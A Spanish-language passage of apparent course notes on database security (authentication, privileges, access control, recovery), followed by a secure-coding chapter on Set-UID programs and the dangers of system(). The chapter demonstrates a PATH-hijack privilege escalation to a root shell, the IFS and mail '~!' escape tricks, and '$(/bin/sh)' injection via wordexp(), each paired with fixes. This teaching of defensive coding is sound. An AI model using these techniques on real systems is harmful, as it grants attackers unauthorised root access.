alguno de las siguientes formas: Código y contraseña Identificación por hardware Características bioantropométricas Conocimiento, aptitudes y hábitos del usuario Información predefinida (Aficiones, cultura, etc) · Además, el administrador de la base de datos deberá especificar los privilegios que un usuario tiene sobre los objetos: Usar una B.D. Consultar ciertos datos Actualizar datos Crear o actualizar objetos Ejecutar procedimientos almacenados Referenciar objetos Indexar objetos Crear identificadores Mecanismos de autentificación La autentificación, que consiste en identificar a los usuarios que entran al sistema, se puede basar en posesión (llave o tarjeta), conocimiento (clave) o en un atributo del usuario (huella digital). Claves El mecanismo de autentificación más ampliamente usado se basa en el uso de claves o passwords; es fácil de entender y fácil de implementar. En Linux, existe un archivo /etc/passwd donde se guarda los nombres de usuarios y sus claves, cifradas mediante una función one way F. El programa login pide nombre y clave, computa F(clave), y busca el par (nombre, F(clave)) en el archivo. Con claves de 7 caracteres tomados al azar de entre los 95 caracteres ASCII que se pueden digitar con cualquier teclado, entonces las 957 posibles claves deberían desincentivar cualquier intento por adivinarla. Sin embargo, una proporción demasiado grande de las claves escogidas por los usuarios son fáciles de adivinar, pues la idea es que sean también fáciles de recordar. La clave también se puede descubrir mirando (o filmando) cuando el usuario la digita, o si el usuario hace login remoto, interviniendo la red y observando todos los paquetes que pasan por ella. Por último, además de que las claves se pueden descubrir, éstas también se pueden "compartir", violando las reglas de seguridad. En definitiva, el sistema no tiene ninguna garantía de que quien hizo login es realmente el usuario que se supone que es. Identificación física Un enfoque diferente es usar un elemento físico difícil de copiar, típicamente una tarjeta con una banda magnética. Para mayor seguridad este enfoque se suele combinar con una clave (como es el caso de los cajeros automáticos). Otra posibilidad es medir características físicas particulares del sujeto: huella digital, patrón de vasos sanguíneos de la retina, longitud de los dedos. Incluso la firma sirve. Algunas medidas básicas: Demorar la respuesta ante claves erróneas; aumentar la demora cada vez. Alertar si hay demasiados intentos. Registrar todas las entradas. Cada vez que un usuario entra, chequear cuándo y desde dónde entró la vez anterior. Hacer chequeos periódicos de claves fáciles de adivinar, procesos que llevan demasiado tiempo corriendo, permisos erróneos, actividades extrañas (por ejemplo cuando usuario está de vacaciones). Un sistema de de base de datos cuenta con un subsistema de seguridad y autorización que se encarga de garantizar la seguridad de porciones de la BD contra el acceso no autorizado. Identificar y autorizar a los usuarios: uso de códigos de acceso y palabras claves, exámenes, impresiones digitales, reconocimiento de voz, barrido de la retina, etc. Autorización: usar derechos de acceso dados por el terminal, por la operación que puede realizar o por la hora del día. Uso de técnicas de cifrado: para proteger datos en BD distribuidas o con acceso por red o internet. Diferentes tipos de cuentas: en especial la del adminsitrador de la base de datos con permisos para: creación de cuentas, concesión y revocación de privilegios y asignación de los niveles de seguridad. Manejo de la tabla de usuarios con código y contraseña, control de las operaciones efectuadas en cada sesión de trabajo por cada usuario y anotadas en la bitácora, lo cual facilita la auditoría de la BD. Discrecional: se usa para otorgar y revocar privilegios a los usuarios a nivel de archivos, registros o campos en un modo determinado (consulta o modificación). El ABD asigna el propietario de un esquema, quien puede otorgar o revocar privilegios a otros usuarios en la forma de consulta (select), modificación o referencias. A través del uso de la instrucción grant option se pueden propagar los privilegios en forma horizontal o vertical. Obligatoria: sirve para imponer seguridad de varios niveles tanto para los usuarios como para los datos. Llamamos autentificación a la comprobación de la identidad de una persona o de un objeto. Hemos visto hasta ahora diversos sistemas que pueden servir para la autentificación de servidores, de mensajes y de remitentes y destinatarios de mensajes. Pero hemos dejado pendiente un problema: las claves privadas suelen estar alojadas en máquinas clientes y cualquiera que tenga acceso a estas máquinas puede utilizar las claves que tenga instaladas y suplantar la identidad de su legítimo usuario. Por tanto es necesario que los usuarios adopten medidas de seguridad y utilicen los medios de autentificación de usuario de los que disponen sus ordenadores personales. Hay tres sistemas de identificación de usuario, mediante contraseña, mediante dispositivo y mediante dispositivo biométrico. La autentificación mediante contraseña es el sistema más común ya que viene incorporado en los sistemas operativos modernos de todos los ordenadores. Los ordenadores que estén preparados para la autentificación mediante dispositivo sólo reconocerán al usuario mientras mantenga introducida una llave, normalmente una tarjeta con chip. Hay sistemas de generación de claves asimétricas que introducen la clave privada en el chip de una tarjeta inteligente. Los dispositivos biométricos son un caso especial del anterior, en los que la llave es una parte del cuerpo del usuario, huella dactilar, voz, pupila o iris. Existen ya en el mercado a precios relativamente económicos ratones que llevan incorporado un lector de huellas dactilares. Control de acceso a la BD La seguridad de las Bases de Datos se concreta mediante mecanismos, tanto "hardware" como "software". Así estos mecanismos son: El primero se denomina identificación, que procede a identificar a los sujetos(procesos, normalmente transacciones que actúan en su nombre o usuarios) que pretenden acceder a la base de datos. El siguiente mecanismo que actúa es el de autenticación. El proceso usual es mediante contraseñas, constituidas por un conjunto de caracteres alfanuméricos y especiales que sólo el sujeto conoce. También se puede realizar mediante algún dispositivo en poder del mismo o alguna de sus características bioantropométricas. En caso de que el sujeto sea positivamente identificado y autenticado, se debe controlar el acceso que pretende a los objetos(datos y recursos accedidos por los sujetos. Por ejemplo, si se considera un SGBD relacional los recursos que deben protegerse son las relaciones, vistas y atributos). El mecanismo involucrado se denomina de control de accesos y se encarga de denegar o conceder dichos accesos en base a unas reglas, que establecen en qué condiciones el sujeto puede acceder y realizar ciertas operaciones sobre el objeto especificado. Estas reglas son dictadas por una persona con autoridad suficiente, que normalmente es el propietario de los datos o, en el caso de una organización, el administrados de la base de datos, de acuerdo con unas políticas de seguridad. Una regla de autorización se suele representar mediante una tripleta (s,o,p), que especifica que el sujeto esta autorizado para ejercer un privilegio sobre un objeto . Los sujetos de autorización son las entidades del sistema a las que se les asignan las autorizaciones sobre los objetos. Los sujetos se pueden clasificar en las siguientes categorías: Usuarios, es decir, individuos simples conectados al sistema. A veces seria más útil especificar los criterios de acceso basándose en sus calificaciones y características, más que en la identidad del usuario. Grupos, es decir, conjuntos de usuarios. Roles, o lo que es igual, conjuntos de privilegios necesarios para realizar actividades especificas dentro del sistema. Procesos, que ejecutan programas en nombre de los usuarios. Necesitan recursos del sistema para llevar a cabo sus actividades, y normalmente tienen acceso sólo a los recursos necesarios para que se puedan realizar las tareas del proceso. Esto limita el posible daño derivado de fallos del mecanismo de protección. Los privilegios de autorización establecen los tipos de operaciones que un sujeto puede ejercer sobre los objetos del sistema. El conjunto de privilegios depende de los recursos a proteger. Por ejemplo, los privilegios típicos de un SGBD relacional son seleccionar, insertar, actualizar y eliminar. Normalmente, los privilegios están organizados jerárquicamente y la jerarquía representa una relación de asunción entre privilegios. Si la transacción invocada trata de modificar el contenido de la base de datos, los cambios propuestos son chequeados por el sistema de gestión de la misma, para garantizar su integridad semántica o elemental. Así mismo, el sistema de gestión se responsabiliza de evitar accesos concurrentes a dicha base. Finaliza la transacción, con éxito o no, el citado sistema de gestión graba en un registro de auditoria todas las características de aquella. Este registro también contiene la información pertinente para la recuperación de la base de datos, caso de un fallo de ésta o una caída del sistema. Aunque este mecanismo no impide los accesos no autorizados, tiene efectos disuasorios sobre potenciales atacantes, permitiendo además encontrar puntos débiles en los mecanismos de seguridad. Adicionalmente a todos estos mecanismos, el medio físico sobre el que se almacena la base de datos puede estar protegido criptográficamente. Igualmente las copias de seguridad pueden estas así defendidas frente a ataques. Los tipos de elementos se combinan para formar el sistema que se utiliza para analizar los métodos de protección: . Los usuarios con acceso a la base de datos, a los que por brevedad denominaremos accesores · El tipo de acceso deseado · Los elementos a los que se realizara el acceso Cada uno de estos elementos debe estar adecuadamente identificado a fin de lograr el control del acceso a los datos. También es necesario considerar el entorno o frontera del área dentro de la cual es valido es sistema de protección. Definiciones. Se definirá cierto numero de términos a fin de que el análisis subsecuente de los mecanismos resulte claro: · Entorno: Existe un área con perímetro bien definido, conocido como sistema de la base de datos. Usuarios e intrusos: Dentro de esta área puede haber individuos autenticados adecuadamente identificados; individuos disfrazados de usuarios validos, e intrusos. Alcance limitado: El sistema desconoce la identidad de los individuos en el mundo exterior. Privilegios: Existen varios privilegios de acceso a los datos, relacionados con la identificación de un individuo. La descripción de estos privilegios se mantiene como parte del sistema de la base de datos. Protección: Todos los elementos dato están protegidos hasta cierto punto mientras se encuentren dentro del área del sistema de la base de datos, y perderán toda la protección que proporciona el sistema al sacarse del área. Confiabilidad: Un prerrequisito para lograr la protección de la base de datos es un alto nivel de confiabilidad del sistema. La identificación externa de los usuarios con acceso a la base de datos es en primer lugar el nombre, en la forma en que lo introduzcan al sistema. Un usuario con derecho de acceso también puede identificarse mediante una clave de acceso (password), darse al ser solicitada, o tal vez por una llave o identificación que la maquina pueda aceptar. Se han propuesto y probado métodos que dependen de la unicidad biológica de los seres humanos. Son manifestaciones de esta codificación única de los individuos las huellas dactilares y las firmas. El sistema de la base de datos, que aquí se ha definido, no será responsable de la decodificación primaria y de validación o autenticación de la información presentada. Y a que los servicios de acceso al sistema operativo son un prerrequisito para el empleo de la base de datos, la tarea de autenticación se deja a módulos del sistema operativo. El método empleado para la identificación de un individuo depende mucho de la tecnología disponible en un caso especifico. El subsistema de autenticación presentara al sistema de base de datos una cadena de bits que se considerara la llave de acceso. Este modulo debe impedir que un impostor obtenga una llave. Todas las autorizaciones y privilegios dados a los usuarios con acceso a la base de datos dependerán de la llave de acceso. Para asegurarse que las llaves de acceso no estén a disposición de accesores no autorizados, la identificación de un individuo debe ser muy difícil de imitar o copiar. Aunque el nombre de un individuo pueda ser único, es fácil que cualquiera que a quienes tienen acceso al sistema lo copie, por lo que no es una llave adecuada. Una vez que se obtiene una llave de acceso al sistema, esta llave se utiliza para entrar al sistema de la base de datos desde el sistema operativo. La responsabilidad del manejo de la llave corresponde tanto al accesor como al sistema operativo. A fin de proteger el proceso de obtención de una llave del sistema, cuando el usuario realiza la entrada (en ingles LOG IN) solicita una clave de acceso con el nombre del usuario. La clave de acceso se introduce sin exhibirla a fin de protegerse de los observadores. En general, esta clave de acceso consistirá en unas cuantas letras, elegidos por el usuario. Un intruso podría utilizar un método de ensayo y error para introducir posibles claves de acceso y lograr entrar. E l tiempo necesario para realizar un ensayo sistemático es el principal elemento para desanimar a posibles intrusos. El tiempo esperado para abrir un seguro especifico sin ningún conocimiento previo es T(entrar)= 1/2 cd t(ensayo) en donde c d es el numero de posibles combinaciones y t (ensayo) el tiempo necesario para ensayar o probar una combinación. Para una clave de acceso de tres letras, d=3 y c=26, el tiempo para la interacción con el sistema podría ser t(ensayo) = 3 segundos, de manera que T (entrar) 7 hrs. Si el proceso de autenticación se requiere con poca frecuencia, un retraso artificial en el proceso de apertura podría aumentar la seguridad del seguro. Medidas de seguridad en un entorno de BD Confidencialidad Autorización en sistemas de bases de datos. Identificación y autenticación. · Código y contraseña. · Identificación por Hardware. · Características bioantropométricas. · Conocimiento, aptitudes y hábitos del usuario. · Información predefinida (Aficiones, cultura, etc.) · Privilegios al usuario. Usar una B.D. · Consultar ciertos datos. · Actualizar datos. · Crear o actualizar objetos. · Ejecutar procedimientos almacenados. · Referenciar objetos. · Indexar objetos. · Crear identificadores. · Diferentes tipos de autorización. Autorización explícita. Consiste en almacenar que sujetos pueden acceder a ciertos objetos con determinados privilegios. Se usa una Matriz de Accesos · Autorización implícita. Consiste que una autorización definida sobre un objeto puede deducirse a partir de otras. · Disponibilidad Los sistemas de B.D. Deben asegurar la disponibilidad de los datos a los usuarios que tienen derecho a ello, por lo que se proporcionan mecanismos que permiten recuperar la B.D. Contra fallos lógicos o físicos que destruyan los datos. Recuperación El principio básico en el que se apoya la recuperación de la base de datos es la Redundancia Física. Tipos de fallos Los que provocan la pérdida de memoria volátil, usualmente debidos a la interrupción del fluido eléctrico o por funcionamiento anormal del hardware.· Los que provocan la pérdida del contenido de memoria secundaria, por ejemplo, cuando patinan las cabezas en un disco duro. · Capítulo V Desarrollo de aplicaciones seguras Parte I – evitando agujeros de seguridad durante el desarrollo de aplicaicones Introducción No toma más de dos semanas antes que una aplicación mayor, parte de la mayoría de las distribuciones de Linux, nos presente un agujero de seguridad, permitiendo, por ejemplo, a un usuario local para alcanzar privilegios de root. A pesar de la gran calidad de la mayoría de estos programas, es un trabajo duro asegurar la fiabilidad del mismo: no se le debe permitir a un tipo con malas intenciones, beneficiarse ilegalmente de los recursos del sistema. La disponibilidad en la aplicación del código fuente es bueno, muy apreciado por los programadores, pero un pequeño defecto en el programa se hace visible a todos. Además, el descubrimiento de los tales defectos son aleatorios y las personas que hacen esta clase de cosas no siempre actúan con buenas intenciones. Del lado del administrador de sistemas, el trabajo diario consiste en la lectura de las listas relacionadas con los problemas de seguridad e inmediatamente poner al día los paquetes afectados. Para un programador puede ser una buena lección, poner a prueba los problemas de seguridad. Es preferible evitar desde un principio los agujeros de seguridad. Intentaremos definir algunas conductas peligrosas "clásicas" y proporcionar soluciones para reducir los riesgos. Nosotros no hablaremos sobre los problemas de seguridad en redes, ya que ellos se presentan a menudo por errores de la configuración ( los peligrosos scripts cgi-bin,...) o de los errores del sistema que permiten los ataques del tipo DoS (Denegación de Servicio) para impedir a una máquina escuchar a sus propios clientes. Estos problemas involucran a los Administradores de sistemas o desarrolladores del kernel, pero también al programador de la aplicación, en tanto tenga en cuenta los datos externos. Por ejemplo, pine, acroread, netscape, access,... en algunas versiones y bajo ciertas condiciones, permiten el acceso o fugas de información. De hecho la programación segura nos concierne a todos. Este grupo de artículos muestran los métodos que pueden usarse para dañar un sistema Unix. Nosotros sólo hemos mencionado algunos o dicho algunas palabras sobre ellos, pero preferimos explicaciones abiertas para hacer entender a las personas de tales riesgos. Así, cuando ponemos a punto un programa o desarrollamos uno propio, usted podrá evitar o corregir éstos errores. Para cada uno de los agujeros que se traten, efectuaremos el mismo análisis. Empezaremos detallando la manera de funcionamiento. Luego, mostraremos cómo evitarlo. Para cada ejemplo, usaremos los agujeros de seguridad que se presentan frecuentemente en un amplio expectro de programas. Este primer artículo habla sobre el fundamentos necesarios para la comprensión de los agujeros de seguridad, que son la noción de privilegio y el bit de Set-UID o Set-GID. Luego, analizaremos los agujeros basados en la función system (), ya que son más fáciles de entender. A menudo usaremos pequeños programas en C, para ilustrar sobre lo que nosotros hablaremos. Sin embargo, los acercamientos mencionados en estos artículos son aplicables a otros lenguajes de programación: perl, java, shell scripts... Algunos agujeros de seguridad dependen de un lenguaje, pero esto no es completamente cierto para todos ellos, cuando nosotros lo veamos con system (). Privilegios En un sistema Linux, los usuarios no son iguales y las aplicaciones tampoco. El acceso a los nodos del sistema de archivos y -de acuerdo con los periféricos de la máquina - confíamos en un control de identidad estricto. Algunos usuarios se permiten realizar operaciones sensibles para mantener el sistema en buenas condiciones. Un número llamado UID (User Identifier) permite la identificación. Para hacer las cosas más fácil, un nombre del usuario corresponde a este número, la asociación se hace en el archivo de /etc/passwd. El usuario root, con UID predefinido de 0, puede acceder a todo el sistema. Él puede crear, modificar, quitar cada nodo del sistema, pero también puede manejar la configuración física de la máquina y puede montar particiones, activar interfaces de red y cambiar su configuración (dirección IP ), o usando llamadas del sistema como es mlock () para actuar en la memoria física, o sched_setscheduler () para cambiar el mecanismo del ordenación. En un artículo futuro, estudiaremos los Posix.1e ,características que permiten limitar un bit de los privilegios de una aplicación ejecutados como root, pero por ahora, asumamos que el superusuario puede hacer de todo en una máquina. Los ataques que nosotros mencionaremos son internos, es decir, que es un usuario autorizado en una máquina que intenta conseguir privilegios que no tiene. Por otro lado, los ataques de la red son externos y vienen de las personas que intentan conectarse a una máquina donde no les está permitido. Para conseguir los privilegios de otros usuarios, lo piensan hacer bajo el nombre, el UID de ese usuario, y no bajo el nombre de usuario propio. Por supuesto, un cracker intenta conseguir el ID del superusuario, pero también hay muchas otras cuentas de usuarios que son de interés, porque cualquiera de ellas dan acceso a la información del sistema (news, mail, lp...) o porque ellas permiten leer datos privados (correo, archivos personales, etc) o ellas pueden usarse para ocultar actividades ilegales como ataques hacia otros sitios. Para usar privilegios reservados de otro usuario, sin poder notar su verdadera identidad, uno debe por lo menos tener la oportunidad de comunicarse con una aplicación que corre bajo el UID de la víctima. Cuando una aplicación - un proceso - corre bajo Linux, tiene una identidad bien definida. Primero, el programa tiene un atributo llamado RUID (Real UID) correspondiendo al usuario ID que lo lanzó. Este dato es manejado por el kernel y normalmente no puede cambiarse. Un segundo atributo completa esta información: el campo EUID (Effective UID) correspondiendo a la identidad del kernel, que tiene en cuenta cuando maneja los derechos de acceso (abriendo archivos, llamados al sistema reservados). Para ejecutar una aplicación con un EUID (sus privilegios) diferente del RUID (el usuario que lo lanzó), el archivo ejecutable debe tener un bit específico llamado Set-UID. Este bit se encuentra en el atributo de permisos del archivo (como usuario puede ejecutar, leer, escribir bits, miembros de grupo u otros) y tiene el valor octal de 4000. El bit del Set-UID se representa con un s al desplegarse los derechos con el comando ls: >> ls -l /bin/su -rwsr-xr-x 1 root root 14124 Aug 18 1999 /bin/su >> El comando "find / -tipo f -perm +4000" despliega una lista de las aplicaciones del sistema que tienen su bit de Set-UID fijandolo en 1. Cuando el kernel ejecuta una aplicación con el bit SetUID puesto en 1, usa la identidad de propietario como EUID de los procesos. Por otro lado, el RUID no cambia y corresponde al usuario que lanzó el programa. Hablando por ejemplo sobre /bin/su, cada usuario puede tener acceso a este comando, pero corre bajo su identidad de propietario (root), de acuerdo a cada uno de los privilegios que tiene en el sistema. No basta decir, que se debe ser muy cuidadoso al escribir un programa con este atributo. Cada proceso también tiene un ID de grupo Efectivo, EGID, y un identificador real RGID. El bit del Set-GID (2000 en octal) en los derechos de acceso de un archivo ejecutable, le pide al kernel tomar el grupo de propietarios del archivo como EGID y no de uno del de grupo que haya lanzado el programa. A veces aparece una combinación curiosa, con el Set-GID fijado en 1, pero sin el bit de ejecución de grupo. De hecho, es una convención que no tiene nada que hacer con privilegios relacionados con las aplicaciones, pero indicando el archivo que puede bloquearse con la función fcntl(fd, F_SETLK, lock). Normalmente una aplicación no usa el bit Set-GID, pero a veces pasa, en algunos juegos, por ejemplo, lo usan para guardar los mejores resultados en un directorio del sistema. Tipo de ataques y los blancos potenciales Hay varios tipos de ataques contra un sistema. Hoy nosotros estudiamos los mecanismos para ejecutar un comando externo desde dentro y la aplicación. Éste normalmente es la shell que corre bajo la identidad del dueño de la aplicación. Un segundo tipo de ataque confía en la inundación de la memoria temporal(buffer overflow), dandole al atacante la posibilidad de acuerdo a instrucciones del código personales. Por último, el tercer tipo principal de ataque es basado en la condición de competencia(race condition), lapso de tiempo entre dos instrucciones en las que un componente del sistema se cambia (normalmente un archivo) mientras la aplicación lo considera inmutable. Los dos primeros tipos de ataques, intentan a menudo ejecutar un shell con los privilegios del propietario de la aplicación, mientras el tercero tiene como objetivo conseguir acceso de escritura a los archivos del sistema protegido. A veces el acceso de lectura es considerado como una debilidad de la seguridad del sistema (archivos personales, emails, el archivo de la contraseña /etc/shadow, y los archivos de configuración del pseudo-kernel en /proc. Los blancos de ataques de seguridad son principalmente los programas que tienen el bit de SetUID (o Set-GID) habilitado. Sin embargo, esto también concierne a cada aplicación que corre bajo un ID diferente a uno de los del usuario. Los demonios del sistema representan una parte importante de estos programas. Un demonio normalmente es una aplicación que empieza al momento de la inicialización(boot) y corre en segundo plano sin ningún terminal de control, y efectuando tareas con privilegios para cualquier usuario. Por ejemplo, el demonio lpd permite a cualquier usuario enviar documentos a la impresora, el sendmail recibe y envía correo electrónico, o el apmd le pide el estado de la batería a la BIOS de un portátil. Algunos demonios están a cargo de la comunicación con usuarios externos a través de la red (los servicios Ftp, Http, Telnet...). Un servidor llama al inetd para manejar la conexión. Entonces nosotros podemos concluir que un programa puede atacarse en cuanto se comunique muy brevemente - a un usuario diferente del que lo empezó. Si el diseño de una aplicación suya posee semejante rasgo, usted debe tener cuidado mientras la desarrolla y tener presente los riesgos que se presentan con las funciones que hemos estudiado. Cambiando los niveles de privilegios Cuando una aplicación corre con un EUID diferente de su RUID, es proporcionarle privilegios a ese usuario que no debería tener (acceso al archivo, llamados al sistema reservado...). Sin embargo, esto sólo se necesita puntualmente, por ejemplo cuando abrimos un archivo; por otra parte la aplicación puede cubrirse con los privilegios de su usuario. Es posible temporalmente cambiar una aplicación EUID con la llamada al sistema: seteuid del int (uid del uid_t); Un proceso siempre puede cambiar sus valores EUID dándole uno de su RUID. En ese caso, el UID viejo se retiene en un campo de guardado llamado SUID (Saved UID) diferente del SID (Session ID) usado por el administrador del terminal de control. Siempre es posible volver de los SUID para usarlos como EUID. Por supuesto, un programa que tiene un null EUID (root) puede cambiar su EUID y RUID a voluntad (es la manera como trabaja /bin/su). Para reducir los riesgos de ataques, se sugiere también cambiar el EUID y usar el RUID de los usuarios. Cuando una porción de código necesitan privilegios que corresponden a aquéllos propietarios del archivo, es posible poner el Saved UID en EUID. Aquí hay un ejemplo: uid_t e_uid_initial; uid_t r_uid; int main (int argc, char * argv []) { /* Se guardan las diferentes UIDs */ e_uid_initial = geteuid (); r_uid = getuid (); /* limita los derechos de acceso a uno de los * programas usados en el lanzamiento */ seteuid (r_uid); ... privileged_function (); ... } void privileged_function (void) { /* Le devuelve los privilegios iniciales */ seteuid (e_uid_initial); ... /* Porción que necesita los privilegios */ ... /* Devuelve los derechos del programa ejecutante */ seteuid (r_uid); } Esta manera de trabajar es mucho más segura que el opuesto, demasiado a menudo vista y consiste en utilizar la EUID inicial y entonces reducir temporalmente los privilegios sólo antes de hacer una operación "arriesgada". Sin embargo esta reducción del privilegio es inútil contra los ataques de desbordamiento de memoria temporal. Cuando nosotros veamos en un próximo artículo, estos ataques intentan interrogar a la aplicación para la ejecución de instrucciones personales y pueda contener las llamadas al sistema (system-calls) necesarias para obtener el nivel de privilegios más alto. No obstante, este acercamiento nos protege de las comandos externos y de la mayoría de las condiciones de competencia. Ejecutando comandos externos Una aplicación necesita a menudo llamar a un servicio del sistema externo. Un ejemplo bien conocido, involucra a mail que ordena como manejar un correo electrónico (informe corriente, alarmas, estadísticas, etc.) sin requerir un complejo diálogo con el sistema de correo. La solución más fácil es usar la función de la biblioteca: int system (const char * command) Peligros de la función system () Esta función es bastante peligrosa: llama a la shell para ejecutar el comando enviándolo como un argumento. La conducta de la shell depende de la opción del usuario. Un ejemplo típico viene de la variable de ambiente PATH. Supongamos una aplicación que llama a la función del mail. Por ejemplo, el programa siguiente envía su código fuente al usuario que lo lanzó: / * system1.c * / #include < stdio.h > #include < stdlib.h > int main (void) { if (sistema ("el correo $USER < system1.c") != 0) perror ("sistema"); return (0); } Digamos que este programa es el Set-UID del superusuario: >> cc system1.c -o system1 >> su Password: [root] el chown root.root system1 [root] el chmod +s system1 [root] exit >> ls -l system1 -rwsrwsr-x 1 root root 11831 Oct 16 17:25 system1 >> Para ejecutar este programa, el sistema ejecuta un shell (con /bin/sh) y con la opción -c, le dice la instrucción para invocar. Entonces la shell pasa por la jerarquía del directorio, según la variable de ambiente del PATH que encuentra un ejecutable llamado mail. Entonces, el usuario sólo tiene que cambiar esta variable contenida antes de correr la aplicación principal. Por ejemplo: >> export PATH=. >>. /system1 intenta encontrar el comando mail dentro del directorio actual. Bastan entonces, para crear allí un archivo ejecutable (para este caso, un script que ejecute una nueva shell) y llamar al mail y el programa se ejecuta entonces con el EUID de dueño de la aplicación principal. Aquí, nuestro script ejecuta /bin/sh. Sin embargo, desde que se ejecuta con una entrada estándar redireccionada (como la del mail inicial), nosotros debemos volver al terminal. Entonces nosotros creamos el script: #! /bin/sh # "mail" script que corre bajo el shell # lo devuelve a su entrada normal. /bin/sh < /dev/tty Aquí está el resultado: >> export PATH="." >> . /system1 bash# /usr/bin/whoami root bash# Por supuesto, la primera solución consiste en dar la ruta completa del programa, por ejemplo /bin/mail. Entonces aparece un nuevo problema: la aplicación confía en la instalación del sistema. Si /bin/mail está normalmente disponible en cada sistema, ¿dónde está por ejemplo, GhostScript? (está en /usr/bin, /usr/share/bin, /usr/local/bin). Por otro lado, otro tipo de ataque es posible con shell antiguas: el uso de la variable de ambiente IFS. La shell lo usa para analizar sintácticamente las palabras en la línea de comandos. Esta variable contiene los separadores. Los valores por defecto son el espacio, el tabulador y el retorno. Si el usuario agrega la barra inclinada /, el comando " /bin/mail" se entiende por la shell como "bin mail" Un archivo ejecutable llamado bin en el directorio actual, puede ser ejecutado simplemente poniendo el PATH, como hemos visto antes, y permitirnos ejecutar este programa con la aplicación EUID. Bajo Linux, la variable de ambiente IFS no es ya un problema desde que el bash lo completa con los carácteres por defecto en la partida (también hecho con pdksh). Pero, con la portabilidad de la aplicación en mente, usted debe estar consciente de que algunos sistemas pueden quedar inseguros viéndolos con esta variable. Algunas otras variables de ambiente pueden causar problemas inesperados. Por ejemplo, la aplicación de mail le permite al usuario ejecutar un comando mientras compone un mensaje usando una sucesión de escape" ~! ". Si el usuario escribe el string" ~ ! command" al principio de la línea, el comando se ejecuta. El programa /usr/bin/suidperl usado para hacer los scripts en perl Set-UID, al descubrir un problema, llama a /bin/mail para enviar un mensaje al superusuario La aplicación que es del Set-UID superusuario , invoca a /bin/mail que lo hace bajo esta identidad. En el mensaje enviado al superusuario , el nombre del archivo defectuoso está presente. Un usuario puede crear un archivo entonces donde el nombre del archivo contiene un retorno del carro seguido por un secuencia ~!command y otro retorno de carro. Si el script en perl llamado suidperl falla en un problema de bajo nivel relacionado a este archivo, un mensaje se envía bajo la identidad del superusuario conteniendo la secuencia de escape desde la aplicación del mail. Este problema no debería existir si es que el programa mail, suponemos que no acepta secuencias de escape cuando corre automáticamente (no de un terminal). Desgraciadamente, un característica indocumentada de esta aplicación (probablemente dejada desde la depuración), permite que las secuencias de escape interactúe como también cuando se fijó la variable de ambiente . ¿El resultado? Un agujero de seguridad fácilmente explotable (y ampliamente utilizado) en una aplicación que se supone mejora la seguridad del sistema. El error es compartido. Primero, /bin/mail tiene una opción indocumentada muy peligrosa, ya que permite la ejecución del código que sólo verifica los datos enviados, lo que debe ser a priori sospechoso para una utilidad de mail. Segundo, aún cuando el desarrollo de /usr/bin/suidperl no ponen cuidado de la variable interactive, ellos no deben dejar pasar por alto el ambiente de la ejecución cuando se hace una llamada con un comando externo, sobre todo cuando escribimos este programa con el Set-UID de superusuario. De hecho, Linux ignora el bit del Set-UID y del Set-GID al ejecutar los scripts (léase /usr/src/linux/fs/binfmt_script.c y /usr/src/linux/fs/exec.c). Algunos trucos permiten saltarse esta regla, como Perl que hay que tener en cuenta, lo hace con sus propios scripts que usan este bit en /usr/bin/suidperl . Soluciones No es tan fácil encontrar siempre un reemplazo para la función system () . La primera variante es usar las llamadas al sistema como execl () o execle (). Sin embargo, será bastante diferente desde que el programa externo ya no se llama como un subrutina, pero el comando invocado reemplaza el proceso actual. Usted debe agregar una duplicación del proceso y analizar sintácticamente los argumentos de la línea de comandos. Así el programa: if (system ("/bin/lpr -Plisting stats.txt") != 0) { perror ("Imprimiendo"); retorno (-1); } se vuelve: pid_t pid; int status; if ((pid = fork ()) < 0) { perror ("fork"); return (-1); } if (pid == 0) { /* el proceso hijo */ execl (" /bin/lpr", "lpr"," -Plisting", "stats.txt", NULL); perror ("execl"); exit (-1); } /* el proceso del padre */ waitpid (pid, & status, 0); if ((! WIFEXITED (status)) || (WEXITSTATUS (status) != 0)) { perror ("Imprimiendo"); retorno (-1); } ¡Obviamente, el código se pone más pesado! En algunas situaciones, se pone bastante complejo, por ejemplo, cuando usted debe redirigir la aplicación a la entrada estándar como en: system ("mail root < stat.txt"); Es decir, el redireccionamiento definido por < se hace desde la shell. Usted puede hacer el mismo, usando un trabajo complejo con sucesiones como fork (), open (), dup2 (), execl (), etc. En ese caso, una solución aceptable sería usando la función system (), pero configurando completamente el ambiente. Bajo Linux, las variables de ambiente se guardan en la forma de un puntero en la tabla de carácteres: char ** environ. Esta tabla termina con NULL. Los strings son de la forma "NAME=value" Nosotros empezamos quitando el ambiente que usa en la extensión Gnu: clearenv del int (void); o forzando al puntero extern char ** environ; para tomar el valor NULL. Luego las variables de ambiente importantes se inicializan usando valores controlados, con las funciones: int setenv (const char * name, const char * value int remove) int putenv(const char *string) antes de llamar a la función system () . Por ejemplo:r clearenv (); setenv ("PATH"," /bin:/usr/bin:/usr/local/bin", 1); setenv ("IFS"," \t\n", 1); system ("mail root < /tmp/msg.txt"); Si es necesario, usted puede devolver el contenido de algunas variables útiles antes de quitar el ambiente (HOME, LANG, TERM, TZ,etc.). El contenido, la forma, el tamaño de estas variables debe verificarse concienzudamente. Es importante que usted quite de todo el ambiente, antes de redefinir las variables que necesitará. El agujero de seguridad de suidperl no habría aparecido si el ambiente hubiese sido previamente removido. En forma similar, protegiendo primero una máquina en una red implica denegar cada conexión. Luego, se activan los servicios requiridos o útiles. De la misma manera, al programar la aplicación de un Set-UID , el ambiente debe aclararse y entonces debe llenarse con las variables requeridas. Verificando si el formato del parámetro es aceptable comparándolo con el valor esperado de los formatos permitidos. Si la comparación tiene éxito, el parámetro se valida. De otra manera, se rechaza. Si usted ejecuta la prueba usando una lista de expresiones inválidas del formato, aumenta el riesgo de dejar valores erróneos y puede ser un desastre para el sistema. Nosotros debemos entender lo peligroso que es con system () , como también, es más peligroso para algunos funciones derivadas como popen (), o con llamadas al sistema como execlp () o execvp () teniendo en cuenta la variable PATH. Comandos de ejecución indirecta Para mejorar el diseño de los programas, es fácil de dejarle conducir al usuario la habilidad de poder configurar la mayoría del software , usando macros por ejemplo. Manejar variables o los modelos genéricos como lo hace la shell; hay una poderosa función llamada wordexp (). Usted debe tener mucho cuidado con ella, desde enviar una cadena como $(commande) , que permite ejecutar el mencionado comando externo. Basta con darle la cadena " $(/bin/sh)" para conseguir la shell del Set-UID. Para evitar semejante cosa, wordexp () tiene un atributo llamado WRDE_NOCMD dejando fuera de funcionamiento la interpretación de las secuencias $(). Cuando invocamos comandos externos usted debe ser cuidadoso con no llamar una utilidad que proporcione un mecanismo de escape hacia la shell (como por ejemplo, la secuencia vi :!command ). Es difícil de listarlos todos, algunas aplicaciones son obvias (editores del texto, administradores de archivos...), otros son más difíciles de descubrir (como hemos visto con 